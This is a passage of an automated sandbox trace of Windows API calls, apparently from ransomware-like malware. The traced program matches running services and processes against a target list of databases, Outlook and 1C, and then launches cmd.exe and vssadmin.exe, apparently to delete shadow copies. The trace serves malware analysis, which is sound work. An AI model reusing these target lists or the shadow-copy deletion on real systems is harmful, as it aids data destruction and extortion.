(lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0046.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0046.726] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0046.726] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0046.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0046.726] lstrlenW (lpString="WdiServiceHost") returned 14 [0046.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0046.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0046.726] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0046.726] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0046.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0046.726] lstrlenW (lpString="WdiSystemHost") returned 13 [0046.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0046.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0046.727] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0046.727] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0046.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0046.727] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0046.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0046.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0046.727] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0046.727] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0046.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0046.727] lstrlenW (lpString="Winmgmt") returned 7 [0046.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0046.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0046.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0046.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0046.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0046.727] lstrlenW (lpString="WPDBusEnum") returned 10 [0046.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0046.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0046.727] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0046.727] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0046.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0046.727] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b6748 | out: hHeap=0x5a0000) returned 1 [0046.727] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d8 [0046.730] Process32FirstW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0046.730] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0046.731] lstrlenW (lpString="System") returned 6 [0046.731] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0046.731] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0046.731] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0046.731] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0046.731] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0046.731] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0046.731] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0046.731] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0046.731] lstrlenW (lpString="smss.exe") returned 8 [0046.731] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0046.731] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0046.732] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0046.732] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0046.732] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0046.732] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0046.732] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0046.732] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.732] lstrlenW (lpString="csrss.exe") returned 9 [0046.732] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0046.732] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0046.732] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0046.732] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0046.732] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0046.732] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0046.732] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0046.732] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0046.733] lstrlenW (lpString="wininit.exe") returned 11 [0046.733] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0046.733] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0046.733] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0046.733] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0046.733] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0046.733] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0046.733] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0046.733] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.734] lstrlenW (lpString="csrss.exe") returned 9 [0046.734] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0046.734] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0046.734] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0046.734] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0046.734] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0046.734] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0046.734] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0046.735] lstrlenW (lpString="winlogon.exe") returned 12 [0046.735] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0046.735] lstrlenW (lpString="services.exe") returned 12 [0046.736] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0046.736] lstrlenW (lpString="lsass.exe") returned 9 [0046.736] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0046.737] lstrlenW (lpString="lsm.exe") returned 7 [0046.737] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.737] lstrlenW (lpString="svchost.exe") returned 11 [0046.737] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.738] lstrlenW (lpString="svchost.exe") returned 11 [0046.738] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.738] lstrlenW (lpString="svchost.exe") returned 11 [0046.738] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.739] lstrlenW (lpString="svchost.exe") returned 11 [0046.739] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.739] lstrlenW (lpString="svchost.exe") returned 11 [0046.739] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0046.740] lstrlenW (lpString="audiodg.exe") returned 11 [0046.740] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.740] lstrlenW (lpString="svchost.exe") returned 11 [0046.740] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.741] lstrlenW (lpString="svchost.exe") returned 11 [0046.741] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0046.741] lstrlenW (lpString="dwm.exe") returned 7 [0046.741] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0046.742] lstrlenW (lpString="explorer.exe") returned 12 [0046.742] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0046.742] lstrlenW (lpString="spoolsv.exe") returned 11 [0046.743] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.743] lstrlenW (lpString="taskhost.exe") returned 12 [0046.743] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.744] lstrlenW (lpString="svchost.exe") returned 11 [0046.744] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0046.744] lstrlenW (lpString="taskeng.exe") returned 11 [0046.744] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.745] lstrlenW (lpString="taskhost.exe") returned 12 [0046.745] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0046.745] lstrlenW (lpString="promotesrouting.exe") returned 19 [0046.745] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0046.746] lstrlenW (lpString="rxcalled.exe") returned 12 [0046.746] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0046.746] lstrlenW (lpString="off.exe") returned 7 [0046.746] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0046.747] lstrlenW (lpString="mayorintl.exe") returned 13 [0046.747] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0046.747] lstrlenW (lpString="gzip-june.exe") returned 13 [0046.747] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0046.748] lstrlenW (lpString="lsnavy.exe") returned 10 [0046.748] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0046.748] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0046.748] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0046.750] lstrlenW (lpString="specifications.exe") returned 18 [0046.750] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0046.751] lstrlenW (lpString="soup-mario.exe") returned 14 [0046.751] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0046.751] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0046.751] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0046.752] lstrlenW (lpString="platformsprivate.exe") returned 20 [0046.752] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0046.752] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0046.752] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0046.753] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0046.753] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0046.753] lstrlenW (lpString="scan-allows.exe") returned 15 [0046.753] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0046.754] lstrlenW (lpString="mwprovince.exe") returned 14 [0046.754] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0046.754] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0046.754] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0046.755] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0046.755] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0047.023] lstrlenW (lpString="contacting.exe") returned 14 [0047.023] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0047.024] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0047.024] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0047.024] lstrlenW (lpString="jpmanagers.exe") returned 14 [0047.024] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0047.025] lstrlenW (lpString="motor.exe") returned 9 [0047.025] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0047.025] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0047.025] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0047.026] lstrlenW (lpString="toshiba.exe") returned 11 [0047.026] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0047.026] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0047.026] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0047.027] lstrlenW (lpString="mobsync.exe") returned 11 [0047.027] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0047.027] lstrlenW (lpString="3G6885.exe") returned 10 [0047.028] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0047.028] lstrlenW (lpString="cmd.exe") returned 7 [0047.028] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0047.029] lstrlenW (lpString="conhost.exe") returned 11 [0047.029] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0047.029] lstrlenW (lpString="vssadmin.exe") returned 12 [0047.029] Process32NextW (in: hSnapshot=0x1d8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0047.030] CloseHandle (hObject=0x1d8) returned 1 [0047.030] Sleep (dwMilliseconds=0x1f4) [0047.672] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640170 [0047.672] EnumServicesStatusExW (in: hSCManager=0x640170, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, 